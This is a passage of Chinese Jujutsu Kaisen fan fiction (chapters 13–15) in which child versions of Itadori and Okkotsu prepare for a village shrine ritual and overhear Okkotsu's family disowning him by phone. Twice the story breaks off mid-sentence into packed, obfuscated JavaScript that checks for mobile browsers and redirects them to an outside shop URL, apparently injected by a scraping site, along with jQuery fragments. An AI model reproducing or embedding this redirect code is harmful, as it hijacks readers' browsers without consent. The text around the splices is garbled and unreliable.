如果让他来选的话,他觉得自己很可能会直接闭着眼睛随便指一个人。选中美的话......他陷入了和虎杖悠仁同样的困惑当中,没有人来告诉他究竟怎样做才是“正确的”。所以他想知道理由。
“因为那个女孩生病了。”虎杖悠仁说。
他扒拉着浅浅的饭盒,将牛肉酱汁和米饭混在一起:“她哥哥明明是医生,但却治不好中美的病。”
被选出来的是神的孩子,他们是仪式中最纯洁、最接近神明的存在。
虎杖悠仁学着那些孩子们的语调说道:“中美只要见到了神明大人就能痊愈了。我们已经商量好了,把这一次的机会让给她。他们是这么说的......见到神明大人是什么意思?他们还要去山上找神明大人吗?”
乙骨忧太想到了那天中美绕着巨木前行的模样。
虎杖悠仁眨着眼睛,看向沉思的乙骨忧太,叼着勺子嘟嘟囔囔地说:“忧太不用觉得为难,我没有答应他们哦。毕竟这是忧太才能决定的事情。”
乙骨忧太吃掉最后一口饭团,摇了摇头。他就是......有点困扰。
“......不知道该怎么做的那种感觉?”
乙骨忧太点头。
虎杖悠仁叹了口气:“果然,‘正确’才是最难理解的词啊。”
他沉默了一小会儿,试探性地说:“呐,忧太。宫司先生说按照你的心来选择,那不就意味着忧太可以选自己想选的人嘛!
如果其他人都觉得应该选中美,忧太选她的话也没什么问题吧?”
毕竟其他人都同意了......这样的事算是正确的吗?
没有人能够跨越时间,知晓未来的可能性。选与不选,分别会带来什么样的后果?如果选择了中美,她的病就能好起来。但如果同样有第二个生病的孩子,他又该怎么抉择呢?
“忧太,”虎杖悠仁伸出一只手在乙骨忧太眼前晃了晃,唤回了他的神志,“不要再想啦忧太,脑袋会被烧掉然后变笨的。”
“悠仁是怎么想的呢?你也觉得选择那个孩子比较好吗?”
虎杖悠仁挠挠头,睁大眼睛:“如果中美因为生病死掉的话,我以后可能总会想为什么当初没有选她。”
也许,会后悔吧?
对别的孩子来说只是一个荣誉的身份,但对中美来说却是救命的药。
虎杖悠仁似乎突然明白了什么。难道正确的事,就是以后不会后悔的决定吗?
他猛地站了起来,将垃圾通通扫进垃圾桶,关灯躺倒盖上被子一气呵成。
“......悠仁还没有洗漱呢吧?”
黑暗中,乙骨忧太的声音从身旁传来。
“只有一天没关系的!”虎杖悠仁底气不足地反驳,随后转了个身,背对着乙骨忧太。
身后的人戳着他的后背:“不行啦,万一长蛀牙的话会很痛的。”
虎杖悠仁把自己完全缩进薄薄的被子里,只露出一些尖尖的发尾,声音闷闷的:“我才没有吃糖!”
乙骨忧太又去推他的肩膀,像是搓面团一样把他揉来揉去。
躲在被子里的虎杖悠仁感觉自己像是寿司卷中间的鸡肉条。乙骨忧太有的时候很固执,这次他似乎打定主意要让虎杖悠仁必须洗漱完毕才能睡觉。
......他才不是认输了,只是因为乙骨忧太还在生病而已!
虎杖悠仁掀开被子,看见了乙骨忧太亮晶晶的眼睛。
他下意识地伸手去摸对方的额头,手心传来的体温说明早上感受到的恐怖高温已经近乎完全消失了:“你已经快好了吗?摸起来不烫了诶。”
虽然还没有回到乙骨忧太平常时那种略低的、摸起来凉凉的体温,但黑发孩子的精神看起来好了不少。
“啊,”乙骨忧太清了清喉咙,肿痛的感觉好似是他梦中的幻觉,鼻塞也消失了,“好像真的快好了!是因为那碗药吗?”
虎杖悠仁和他说了里香的神奇魔法,只是他们再次将里香叫出来后,却没办法让它再次使出那个魔法。
“难道说,还有冷却时间?就像游戏里的技能那样......”乙骨忧太天马行空地猜测着。
虎杖悠仁觉得有点遗憾,如果里香还能再用一次它的神奇魔法,也许乙骨忧太能够直接恢复健康呢。
最终,两个孩子还是乖乖地重新打开灯,完成了每日例行洗漱和整理,这才重新躺回床上准备睡觉。
床单早就没有刚晒好的时候才会散发出来的太阳暖呼呼的味道了。
虎杖悠仁没有认床的习惯,他总是睡得很熟,不管外面发生了什么都能安然进入梦乡。爷爷曾经开玩笑般地说,他一定是躺在高速的柏油路面上也能睡着的类型。
“说起来,”像是即将入睡前的呢喃,虎杖悠仁的声音轻得不能再轻,“爷爷以前还说要教我打空手道呢......”
没等乙骨忧太想出答复的话,说话的人就已经陷入梦乡。
14. 第 14 章
乙骨忧太好起来的速度令他自己都觉得有些不可思议。如果换做以前,严重到无法下床的高烧会将他送进医院,不输上几天的液是绝对无法轻易离开的。然而这次却只用了两天,病气就完全从他的身上消失了。
虎杖悠仁坚持认为这多亏了里香的神奇魔法,说的次数多了,乙骨忧太也渐渐开始相信里香真的有能够治愈疾病的能力,只不过它、他们现在还不明白如何引导白色的咒灵再一次用出来而已。
“也许里香只会在有人生了很严重的病时才会用呢!”虎杖悠仁乐观地说。
不过,早起的孩子们发现了另一个坏消息。
放在院子角落阴凉处的塑料盆里那些被处理好的田螺跑了大半,虎杖悠仁难以置信地哀嚎着:“为什么呀?!我还以为这种大小的网孔它们钻不出来呢!!”
顺着地面上留下的水痕,不少印记通向了森林的方向,现在再想将越狱的田螺们找回来已经是不可能完成的任务了。
这让粉发的孩子深受打击。
他抱着塑料盆晃了晃,里面还剩下的一些大多已经没了反应,恐怕在大逃亡开始之前就已经死掉了。
“但是,它们的壳都被剪开了,”虎杖悠仁和乙骨忧太在院子里挖了个小坑,将剩下的田螺尸体埋了进去,“就算跑到池塘里也活不下去了吧?”
“大概?也许它们比我们想象得更加坚强呢。”乙骨忧太将挖出的土铲了回去。
虎杖悠仁将地面拍平:“好奇怪,它们被放在盆里的时候,我觉得把它们烤了吃掉就很不错。但是发现它们都跑掉了,反而觉得它们活下去更好。”
他学着记忆中爷爷的模样长叹一声,语气也变得老气横秋起来:“我真是个罪孽深重的人啊!”
“不要学老爷爷说话啊,悠仁!”乙骨忧太牵起他的手向村子里走去,他们从今天开始要去神社学习参加祭典的礼仪,乙骨忧太也要开始准备选择“神之子”的仪式了。
“看见它们做了我们觉得不可能完成的事,就好像完全脱离了故事原本的结局,自然希望它们能够继续前进吧?”
虎杖悠仁歪着头看他:“故事原本的结局是什么?被我们吃掉吗?哇,那我们不就是大坏蛋了吗?!”
小孩一脸严肃:“我才不要当大坏蛋!我讨厌做坏事的人!”
乙骨忧太握着他的手掌一缩,片刻又放松下来。
“可是,如果我们吃掉它们是为了填饱肚子呢?那样也是做坏事吗?”
虎杖悠仁扯着帽衫耷拉在胸前的两根绳子,手指下意识地将它们扭在一起:“唔......应该不算吧?不然我们就要被饿死啦!”
如果这样说的话,就没有人是“坏人”了。田螺们什么都没有做,就因为他们很饿所以要被吃掉。但是他们也没有办法,在没有其他食物的时候,不吃就会被饿死。
乙骨忧太点点他皱起来的眉头:“学过老爷爷说话,现在连眉毛都变得更像老爷爷了哦。总感觉悠仁想象中的田螺们和人类一样诶,不要这样想啦,不然的话我们每天都要给被我们踩死的蚂蚁道歉哦?”
虎杖悠仁打了个冷颤:“突然有一阵恶寒的感觉......你这样一说,我现在好在意下一步会不会踩到蚂蚁。”
他说着,果然开始低头注意脚下的路面,避开那些还没有米粒大的黑色小东西。
“好好看路啊。”乙骨忧太轻声抱怨了一句,又默默握紧了虎杖悠仁的手,提起十二分精神来留意周围的环境。
乡下的村子没有汽车。这对乙骨忧太来说能够轻松不少,老实说他现在有点害怕那些高大的钢铁机器,连可爱的动画片都没办法缓解来自心底对汽车的抗拒。
这里最常见的就是手推车和自行车,大部分人都是走路来往,毕竟村子并不大,成年人走得很快,可能只需要一个小时左右就能横穿整个村子。
乙骨忧太带着有些闹腾的虎杖悠仁稳稳当当地抵达了神社。
跨过朱红鸟居的时候,虎杖悠仁凑到他的耳边悄声说:“那些家伙们又跟过来了。”
“诶?”乙骨忧太回头,果然看见了昨晚拦下虎杖悠仁的松下他们。
见他回头,松下想要追上来说些什么,可虎杖悠仁直接反手拉着乙骨忧太跑了起来,将他们远远地甩到了身后。
有巫女正在清扫参道,看到他们之后也只是默不作声地垂下眼睛,任由他们两个从身前跑过。
乙骨忧太侧身看了一眼身后,松下他们并没有追上来的意思。
“你们来了?”宫司刚好从社务所里出来,他的手上还拿着一些祭祀用的道具,和两个跑过来的孩子撞了个正着:“刚好,我们去神乐殿那边吧。”
社务所的对面是挂绘马的地方,宫司要先将手中的东西送到巫女们那边,虎杖悠仁和乙骨忧太便在绘马区随意逛了起来。
虎杖悠仁发现挂在这里的绘马上的字他基本上都认得。不如说写得都很简单,几乎看不见汉字,读起来意外通畅,没有复杂的词汇。
“忧太......”虎杖悠仁翻了两块绘马,刚开始他还在很认真地逐字逐句看,但很快他便无法再安然继续读下去了。
绘马上的文字显然也让乙骨忧太吓了一跳。
——希望坂上太郎赶快去死。
这一块绘马上的墨迹已经掉了不少,看起来挂上去的时间不算短。
——我想要花子的娃娃。
这一个块上的字体圆滚滚的,看上去像是小孩子写的。
——神啊,请让中美为我带来足够全家人吃的白米饭。
......虎杖悠仁和乙骨忧太有些呆滞地望着那个熟悉的名字,一时之间没有人敢大声呼吸。
“......应该是、重名吧?你看,这个名字应该算是挺常见的......”半晌,乙骨忧太才勉强笑了两声,迅速将那块绘马放开,让它重新落回成片的绘马堆当中。
木牌相互击打的清脆响声如雷贯耳,宫司的声音响起时更让他们不由自主地心惊了一下。
“你们在这里啊,”男人向他们招手,“我们走吧。”
宫司带着两个沉默的孩子去了绘马架后的神乐殿,这里是进行神乐表演的地方,三面敞开的木制高台面向本殿的方向,看起来已经闲置了很久。
“为什么都是这幅表情?啊,你们看到了绘马架上的‘愿望’?”
虎杖悠仁点点头。
宫司上手揉搓了一下他的头发:“别太在意那些。你们是从仙台过来的吧?这里是比乡下还要偏远的地方,他们大部分人从来没有离开过这里,能够识字写字的人更是少之又少。”
男人说这些话的时候,视线从孩子们身上转移到了天空中,似乎在看着蓝天下飘过的白云。
虎杖悠仁顺着他的视线仰头看了过去。
天空的颜色比往常要深一些,看起来更远了。虎杖悠仁只能模模糊糊地这样描述,他觉得今天的天空变得更加遥不可及。如果没有云的话,简直就像大海一样。
“那是什么意思呢?”
宫司没有给出答案,虎杖悠仁仍旧搞不明白。
绘马架上的那些愿望让他觉得可怕又讨厌。
学习礼仪的过程比他们想象的更枯燥一些,加上神乐殿后放置道具的小房间内并没有空调或风扇,环境比较闷热难捱,虎杖悠仁很快就被热得有些受不了。
长时间的跪坐也让他的双腿开始麻木,于是粉发的孩子悄悄地扭动屁股偷懒,宫司看到了之后并没有说什么,而是纵容了他这种幼稚的行为。
宫司花了一整个上午才勉强将整个仪式的流程灌输到两个孩子的脑海中,虎杖悠仁虽然有些坐不住,但还是好好地将重要的地方记在了脑子里,男人的提问也基本全都答对了。
检验过教导成果的宫司非常满意,正当他准备带着孩子们去吃饭的时候,虎杖悠仁突然提问:“先生,神明大人真的能够实现愿望吗?什么愿望都可以吗?”
宫司揣着手,语气和缓地说:“为什么这么问?”
虎杖悠仁低下头,快速扫了一眼没有说话的乙骨忧太:“祂能让人的灵魂成佛吗?”
男人笑着回答:“很多人来这里都会祈求神明让自己死后成佛,我想神明应该是能够听到这些愿望的吧。悠仁也这样想吗?”
“不......不是我,是我有想让她成佛的人。”
“是吗?那悠仁就更要认真学习神前仪式了哦,神明大人会给祂的信徒们指引的明光。”
虎杖悠仁的眼睛变得亮晶晶,乙骨忧太一看他的模样就知道他已经完全被宫司的话吸引住了。
下午他们走之前,虎杖悠仁拉着乙骨忧太去拜殿进行了参拜。他们从宫司那里借来了5圆硬币丢了进去,摇响铃铛,鞠躬拍手、合掌许愿。
虎杖悠仁虔诚地希望祈本里香的灵魂能够尽快成佛。
嗯......让忧太能够得到幸福。
再加上让爷爷也一定要成佛呀!
啊,还有妈妈。
乙骨忧太放下双手的时候,便看到虎杖悠仁面上不断纠结的表情,可爱圆润的五官挤在了一起,看起来皱皱巴巴的,让人忍俊不禁。
这是许了多少愿望啊?那这样的话......乙骨忧太重新转过身,再一次闭眼低头,在心中许下了最后一个愿望。
让悠仁的愿望全部成真吧!
离开神社的时候,他们遇到了意料之外的人。虎杖悠仁看到了一个青年,他很高兴地冲了过去,留下乙骨忧太没能拽住他而滞留在半空中的手。
“昨天太谢谢你了,大哥哥!”青年正是中美的哥哥,昨天帮虎杖悠仁简单查看乙骨忧太情况、免费留下感冒药的正是他。
“那孩子怎么样了?有好一些了吗?”青年的身上带着药房的苦味,还有一些酒精的味道,声音稳重而柔和。
虎杖悠仁指了指乙骨忧太:“已经完全好啦!”
乙骨忧太正缩回手,他站在朱红鸟居之下,年轻医生的视线扫过他所在的地方后,似是忽然想要结束这段对话,语气变得敷衍起来:“已经好了?不过药还是得继续吃,不要留下病根才好。太阳都快落山了,你们尽早回家吧。”
虎杖悠仁没有听出他话中的深意,只是兴奋地向他挥手道别,和乙骨忧太一起往家的方向走。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378153|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“咖喱盖饭好好吃!果然盖饭最好吃了!呐忧太,我们......”
虎杖悠仁没能听到乙骨忧太的回答,他疑惑地转过头,发现乙骨忧太正皱着眉,有些担忧地看向后方。
他追着对方的视线,看见了年轻的医生和宫司站在鸟居前的石阶上说着话。
“原来他们认识啊?”
虎杖悠仁嘟囔着。他觉得今天的乙骨忧太有些太过安静了,现在又在皱眉,似乎在想什么很复杂的问题。
他扯了扯对面人的手臂,连声叫着乙骨忧太的名字,想要将他的注意力唤回来:“忧太,忧太?忧、太!!”
“倒底怎么了?你一整天都不太精神的样子,难道说感冒还没好吗?!”虎杖悠仁摸了摸乙骨忧太的额头,手心传来的温度非常正常,不像还没好的样子。
乙骨忧太不知道该怎么向虎杖悠仁解释自己内心的不安。自从做了那场噩梦之后,他总觉得心里慌慌的,落不到实处。
可能真的是因为这场突如其来的急病,他到现在都觉得根本提不起什么兴致来,整个人都有些有气无力,颓丧极了。
虎杖悠仁眼睛一转:“那我们去找便利店的老板借电话吧!忧太和妈妈爸爸打过电话之后就会好一些的吧?”
他在幼稚园的时候,有一些想家的小朋友会哭得很厉害,最开始老师们为了安抚他们的情绪,会允许他们和家长短暂地通话。
但虎杖悠仁并没有在幼稚园给爷爷打过电话。他自己非常明白,这样的行为并不能彻底让那些孩子们变得坚强独立,大部分打过电话的小孩过了一段时间后都会再次哭闹起来,但这一次老师们就不会允许他们和父母通话了。
每个学期刚开学的时候每天都会上演这样的事情,大概需要等上一周左右,大家就不会再哭喊着想要回家找爸爸妈妈了。
但是,乙骨忧太和那些离不开家的小孩子不一样。他很不安,这让虎杖悠仁觉得有些失落。
他没办法消除乙骨忧太的不安与担忧——明明他们是家人。
他在乙骨忧太的注视下居然露出了一个带着苦涩味道的笑,这个像是药液一样的笑容令乙骨忧太心中一颤,当即转身安慰起有些低落的虎杖悠仁:“不、不是的哦!悠仁,多亏有悠仁在,我才不是独自一人!”
虎杖悠仁扯着他的衣摆不撒手,既没有摇头也没有说话。他的本意并非让乙骨忧太感到为难,只是......他现在,已经没有“真正的”家人了。
不是妈妈的妈妈让他觉得有些害怕,一直照顾自己的爷爷已经去世......乙骨忧太的不安让他从这场过家家的游戏中清醒了一瞬间,意识到他们其实并非真正的家人。没有血缘关系,他们也只不过刚刚认识几个月的时间。
其实在参拜的时候,他最后许下了一个愿望。
——希望能和忧太成为真正的家人。
“......我也是哦!”虎杖悠仁眨眨眼睛,夕阳的颜色让他的眼瞳澄澈无比,这一次的笑容纯净而真诚:“因为有忧太在,才不是自己一个人了哦!”
乙骨忧太第一次清晰地听到如此直截了当的告白。
因为精神不济而略显深沉的黑色眼眸中有光骤然闪过,像是烟火大会时在夜幕中炸开的烟花一般,流淌着鲜艳的色彩。
“抱歉,悠仁,”他垂下胳膊,将虎杖悠仁揪着衣摆的手握进掌中,“我们一起走吧。”
虎杖悠仁看了他两眼,安静地顺着他的力道来到了与他平行的身侧。
以前曾有一对鸟儿来到院子里筑巢,它们选定的地方就在一棵矮树上。虎杖悠仁和爷爷是在酷夏发现它们的,可是直到秋天将尽它们才将这个建在不那么合适的地方的巢穴完整地搭建好。
虎杖悠仁觉得它们傻傻的,不仅在夏天因为收集筑巢的材料而热得直喘气,而且还把家建在人类触手可得的地方。
因为它们的存在,有伙伴来到家里找虎杖悠仁的时候,他都会很小心地不让其他人发现它们。
值得庆幸的是,它们有一个可以过冬的地方。
当虎杖悠仁捧着热乎乎的奶茶驱散身体的寒气时,他可以透过窗户望见后院里那两只毛茸茸的、缩在一起挤进巢穴中的鸟。
每当这时,喝着咖啡的爷爷总会嘴硬心软,先将那两只笨鸟狠狠批判一通,然后装作出去扫雪的同时绕到后面检查傻乎乎的小家伙们的巢还结不结实。
虎杖悠仁在这个时候会偷偷笑着,擦掉玻璃上的一小块水汽偷偷向外看。虎杖倭助的到来只引得那两只鸟咕咕咕地叫了两声,在飞走躲一下和留在被捂暖的窝之间挣扎了一下,然后泰然自若地蹲在了原地,任由老人嘴上嘟囔个不停的同时将挡在它们头顶树枝上的积雪扫落一旁。
不知道为什么,虎杖悠仁总觉得乙骨忧太和它们很像。
不是说傻到如此轻易就对人类交付了信任......不如说虎杖悠仁希望他能像爷爷取得它们信赖那样,让乙骨忧太感受到同样的泰然。
看着他想要和他人产生联系,却总是站在远处望而却步的模样,虎杖悠仁总会觉得很难受。
这在虎杖悠仁心里是一等一的大事。
15. 第 15 章
他们抵达便利店的时候已经关门了。
铁闸门落下,有些松动的铁皮上被调皮的孩子画上了各种鬼脸。
虎杖悠仁比乙骨忧太更失望一点,不过这也是没有办法的事,只有晚上打电话,乙骨忧太的父母才有可能接到。
母亲白天还要上班,乙骨忧太不想在她那样忙碌的时候去打扰她。
晚上......晚上的话,难道只能去找爷爷了吗?乙骨忧太下定了决心。反正总要去找他的。
夜晚的河边并不安静,可依旧让人觉得心生恐惧。被溪边高大的茎秆遮住视线,那中间不再是可以乘凉躲清闲的秘密基地,反倒像是一口深井将人困在其中,只能抬头勉强看见朦朦胧胧的月光。
当脚下的坡度开始增加,他们逐渐远离了村落中人口聚集的地方,最后一丝光亮来自挂在村口老房子外的一盏电灯。
环绕在灯泡旁边的飞蛾让这光线变得摇曳不定。
乙骨忧太略微抬头,生锈的铁门发出刺耳的吱呀声,深居简出的老人正巧刚刚推开红房子的院门。
乙骨爷爷背上背着竹篓,底部还有土渣簇簇落下。他显然也注意到站在土路下方的两个孩子,但这位脾气古怪的老人并没有与他们交谈的意思,径直伸手拉回铁门,哐地一声将他们关在了院外。
虎杖悠仁冲了出去,乙骨忧太被他扯得不得不松开手以防止两个人一起摔倒。
粉发的孩子扑到了铁门外,栏杆间的缝隙正好能让他将脸完全露出来。他扒着栏杆毫不顾忌地大喊:“爷爷!!我们能借用一下电话吗?!”
似乎是害怕被拒绝,他又大声说道:“谢——谢——你!!!”
老人对他的话听而不闻,将竹筐放在院子里用防水布盖好,掏出钥匙准备开门。
虎杖悠仁深吸了一口气,回头看了一眼乙骨忧太,然后一股脑地弯下腰,直接从铁门的栏杆之间挤了进去。
“悠仁?!!”
那扇铁门栏杆之间的缝隙对于虎杖悠仁这样的小孩子来说的确没什么太大的阻碍,只需要微微侧身就能够将身体挤过去。虎杖悠仁这一次直接跑到了乙骨爷爷的身边,又一次大声请求道:“拜托你了!!!”
乙骨忧太也顾不得其他,学着虎杖悠仁的方法直接从栏杆中钻了过去。不过等他迈过去之后才想起来,这扇院门又没有上锁,为什么他们还要钻来钻去?现在管不了那么多了,他得跟过去才行!
乙骨爷爷又露出了他们第一次敲响红房子的屋门时从门缝中见到的那种眼神。
冷漠、审视、陌生,如果不知情的话,没人能从这样冰冷的眼神中领悟到老人与两个孩子之间的关系。
虎杖悠仁并没有退缩。尽管他也被这样的眼神刺痛,可比起乙骨爷爷与忧太之间令人伤心的僵硬关系,现在更重要的是借到电话。
乙骨忧太站到了虎杖悠仁的身边,第一次用这样强硬的眼神逼迫着自己与老人对视。
里香已经开始在他的影子里变得焦躁起来,身体里有什么区别于血液的东西正在升温。
无声的对峙似乎持续了很久。
咔哒。
钥匙在黄铜锁孔中扭动,机括的声音带回了世界上闪烁的其他杂音,让乙骨忧太的听觉逐渐重新恢复正常。
与心中曾期待过的、和自己有真正血缘关系的家人面向了不同的方向,乙骨忧太从老人的身上感觉到了他熟悉的排斥。
真正将人们联系在一起的、构成“家”的东西,不是血缘也可以。流淌在此身中的血液无法让他们心意相通......原本就应该是这样的。
“......哼。打完电话赶紧走。”
老人推开房门,摸索着墙面打开了灯。
骤然亮起的光让虎杖悠仁不自觉地眯起眼睛,适应了一小会儿后就好奇地望向屋内。房型似乎和他们住的房子差不多,但室内的面积要大上不少。乍一看居然有点像神社本殿的构造,一进门的柜子和地面上堆放着许多看起来像是祭祀用的道具,虎杖悠仁看到了面具和杨桐树枝,以及斜靠在墙面上一柄过长的......棍子?几乎已经捅到了天花板。
太过苍白的灯光让客厅一览无余,可以看见比他们的房子多出了一个独立的卧室。
在正对着大门的墙角摆放着一个小型的神龛。这东西正是让虎杖悠仁将这座房子幻视成神社本殿的罪魁祸首,这里的布局简直就是神社的翻版,神龛的体积似乎等比缩小,同样被放置在了更高的地方,用纯色的布罩了起来。
与神社本殿不太一样的是,神龛的周围没有什么供品,取而代之的各种大小不一的石像。就是村子里随处可见的那种看不清脸的塑像,因为这东西在村子里无处不在,以至于虎杖悠仁已经开始下意识地忽视它们的存在了。
所以,这些石像刻画的就是那位住在山里的神明大人,是因为不可直视神明所以才没有刻出五官吗?
老人坐在木椅子上,指了指卧室窗户旁的橱柜上摆放的固定电话,示意乙骨忧太赶快去。
乙骨忧太迅速走了过去。虎杖悠仁原本站在客厅里,但是坐在那里的老人什么话也不说,他下意识地向老人的方向看过去。那张皱纹深邃如同山间沟壑一样的脸上,一对冰冷且浑浊的眼球在眉骨的阴影下缓缓转动着。
虎杖悠仁觉得一阵寒意从后背蹿上了头顶,霎时汗毛倒竖。他绷紧脸颊,强迫自己不要在意那令人毛骨悚然的盯视。
现在他有些坐立难安,空气似乎在不断膨胀,企图将他从屋子里挤出去。
乙骨忧太也感受到了从客厅里蔓延过来的寂静,他迅速拨通了家里的电话号码,等待着铃声响起。
平静、精确的回铃音此刻却漫长得让人觉得快要窒息。
乙骨忧太侧过头,能够看到站在客厅里看着他的虎杖悠仁。粉发孩子脸上的表情有些僵硬,却执着地站在那里看着他。
嘟——嘟——
电话中重复出现的提示音让他的心一点一点沉了下去。
难道母亲还没有回家吗?她还在医院照顾父亲?家里只有妹妹在吗?
漫长的等待终于结束了。回铃音终止,电话那头传来了女孩拖沓又稚嫩的询问声:“......喂?请问是谁呢?”
乙骨忧太的手指缠绕在打着卷的电话线上,迫不及待地向妹妹询问着父母的去向。
“他们还在医院喏,哥哥你什么时候回来?妈妈说你以后都和爷爷一起生活了,我能找你去玩吗?但是我的脚还很痛......”
乙骨忧太觉得自己的身体和灵魂被撕成了两瓣,他口中关心着妹妹因为摔下凳子而受伤的脚踝,另一半却被从女孩口中说出的话网住了。
什么叫“以后都和爷爷一起生活了”?
也许只是妹妹没能理解父母的话,她不明白时间的界限和意义,因此才将一段有限的时间拉长到了永远。
但为什么乙骨忧太会觉得如此在意?甚至......他在刹那间就感受不到心中所有的不安了。
空荡荡的身体似乎摆脱了重力,轻盈地向头顶飘去。
“......妈妈有说她什么时候回来吗?”
“不知道喔,她最近回来很晚,我也没办法出去玩。我能去找你玩吗?”电话那边的女孩来回重复着相同的问题,看起来脚踝的伤和独自一人待在家里让她觉得非常无聊,渴望着乙骨忧太能够回来和她作伴。
虎杖悠仁终究是在老人的眼神中败下阵来。孩童的勇气无法战胜大人那样复杂而沉重的眼神,幼虎也尚未学会向环伺的敌人发出威骇的咆哮。
“爸爸他......怎么样?妈妈有和你说过爸爸的情况吗?”乙骨忧太没有发现自己的手在抖,直到虎杖悠仁握住他,那种不自知、无法自控的颤抖才渐渐变得不那么明显。
妹妹什么都不知道。
挂断电话,乙骨忧太感觉到心中一直悬而未落的巨石终于落了地。虽然不用再担心它会砸到自己的头上,可现在反而需要担忧这块地面能否支撑它的重量。
会塌陷吗?地面之下、他看不见的地方又藏着什么东西呢?
“打完了就赶紧走。”
老人开始驱赶他们,乙骨忧太从刚才开始就有些脑袋发晕,似乎吸入肺中的空气完全没有起到应有的作用,他听到自己以一种陌生的语气像爷爷讨要母亲寄来的钱。
老人盯着他看了很久,但乙骨忧太已经根本顾不上在乎那点令人难受的眼神了。他只觉得头昏脑涨,想要赶快离开这让他快要无法呼吸的地方。
这座红房子简直就像一个巨大的棺材,不断有人将泥土铲到周围,彻底隔绝与外界交换空气的通道。
从老人手中拿走了“所有的”钱,胀痛已经蔓延到了太阳穴。迈着绵软的脚步,乙骨忧太只觉后颈不停地流着冷汗,只有死死抓住虎杖悠仁的手才能支撑着自己稳住平衡。
刺耳的铃声打破了寂静。
就像有一根银针忽然刺破了气球,炸裂的缺口令全新的空气迅速涌入,让乙骨忧太的眼神变得清明了一些。
他们才刚刚走到玄关,老人似乎已经根本不在乎他们了,径直转身走向卧室,微掩上门,接起电话。
虎杖悠仁不知道自己为什么会走到卧室的门边,可能是忽然想起能否请求老人再让乙骨忧太给母亲的手机打个电话而突然折返......屋内的灯光亮起,照射在他的脸上,留下了一条竖向的光带。
是因为即便被他们听到也无所谓吗?
还是说这不过是大人们捉弄小孩子常用手段?
从门缝中泄露出来的不只有比客厅更暖一些的黄色光源,虎杖悠仁从未想过声音也可以成为如此锋利的刀,将人的皮肤割出又痛又痒的划痕。
他下意识地摸着手臂,想要抚平那些因为寒意而竖起的尖刺,却发现自己的手冷得吓人。
以夏天的气温来说,这间红房子里的温度的确有些太低了。
那是从医院打来的电话,从那头还能听见护士们的交谈声。很快那些嘈杂的噪音便消失了,虎杖悠仁屏住了呼吸。
可能是来到了无人经过的楼梯间,对方的声音清晰可闻:“不是说好不再联系的吗?!那孩子怎么回事?!这个月的钱我不是早就寄过去了吗?!”
老人沙哑的嗓音摩擦着虎杖悠仁的鼓膜:“你们不想养就丢到我这里来,还带了个来路不明的小鬼.
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378154|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
.....那些钱可只够一个人的份啊。”
“......什么?”
老人不欲与对面的人继续纠缠,简单明了地说起自己的要求:“要么再给钱,要么就这样了,反正小孩花不了多少钱......哼,我看他们老早就找好了活路!简直跟你们一模一样!”
“......我们做的最正确的决定就是从那里搬走!村子里全都是一群脑子不正常的人,除了你们那样的疯子谁活得下去?!”
对面的女声骤然变得尖利而疯狂,几乎是在撕心裂肺地尖叫着。
之后的对话已经变成了毫无意义的争吵,老人似乎被电话那头的人激怒了,偶尔还有一道男声出现,和他争辩着什么,相互咒骂。
虎杖悠仁浑身一抖,感觉有一只冰凉的手掌扣住了自己的口鼻。
黑影从视野的侧面覆来,他能透过眼皮感受到从指缝间露出的光。
电话里的男声高声宣告:“能和他玩到一起的能是什么正常的孩子吗?!这附近又没有人报失踪,谁知道又是他从哪里找来的野孩子?!这是最后一次了,父亲。我不能再让女儿和他来往,只要接近他就没好事!看看我的腰!我可是下半辈子都可能站不起来了啊?!怪物就该乖乖滚回怪物堆里去,每个月的钱我们会按时寄给你,等到他能干活了就让他自己想办法吧,别再来找我们了!!”
虎杖悠仁僵在原地,盖住面庞的双手将他向后拉去,直到贴靠上了一具同样冷冰冰、硬邦邦的身体。
屋内的老人还在对着电话激动地争执着什么,可虎杖悠仁已经无法再将注意力集中在他说的话上面了。
“不要看,不要说,拜托你了,悠仁。”
虎杖悠仁点了点头,他快要不能呼吸了。那双手从他的脸上移开,捂住了他的耳朵。
不知道究竟说给谁听的低语擦着他的耳朵响起,冰冷又柔软的皮肤蹭过敏感的耳廓,混合着炙热的气息:“没关系的、没关系的。我们才是家人。”
老人挂断电话,大力推开了房门。客厅里已经没有那两个孩子的身影了,院子里被夜晚应有的寂静填满。不知何时离开的两个“丧家之犬”......脸色狰狞刻薄的老人因为不能从乙骨忧太的父母那里敲来更多的抚养金而大发雷霆,后悔提前让他们拿走了这个月的钱。
就像他说的,小孩子能需要多少钱?!况且他们现在还和神社搭上了关系......下个月干脆扣掉一半也没问题。
一道围墙之隔,虎杖悠仁被乙骨忧太扯着回到了家里。
他们一路上都沉默着,他看不清黑发孩子的脸。明明月光很喜欢乙骨忧太,也会将他照得很温柔,可现在却似是背叛了他们似的,只在那张脸上留下浓厚的阴影。
屋里没有开灯,虎杖悠仁站在玄关,不知道接下来该说些什么,又或者能做些什么。
只是这样想着,只是察觉到自己“无能为力”的事实,眼泪就已经不由自主地满溢而出。
为什么呢?
为什么血脉相连的家人会说出这样痛彻骨髓的话来相互伤害呢?
原来......家人之间也不存在无条件的爱吗?
虎杖悠仁吸着鼻子,可无法阻止那种酸涩从眼眶、鼻尖蔓延开来,苦涩的味道比感冒药剂的气味还要令人难以忍受,很快爬满了全身。
他的双眼适应着黑暗,逐渐看清了站在身侧的乙骨忧太模糊的背影。
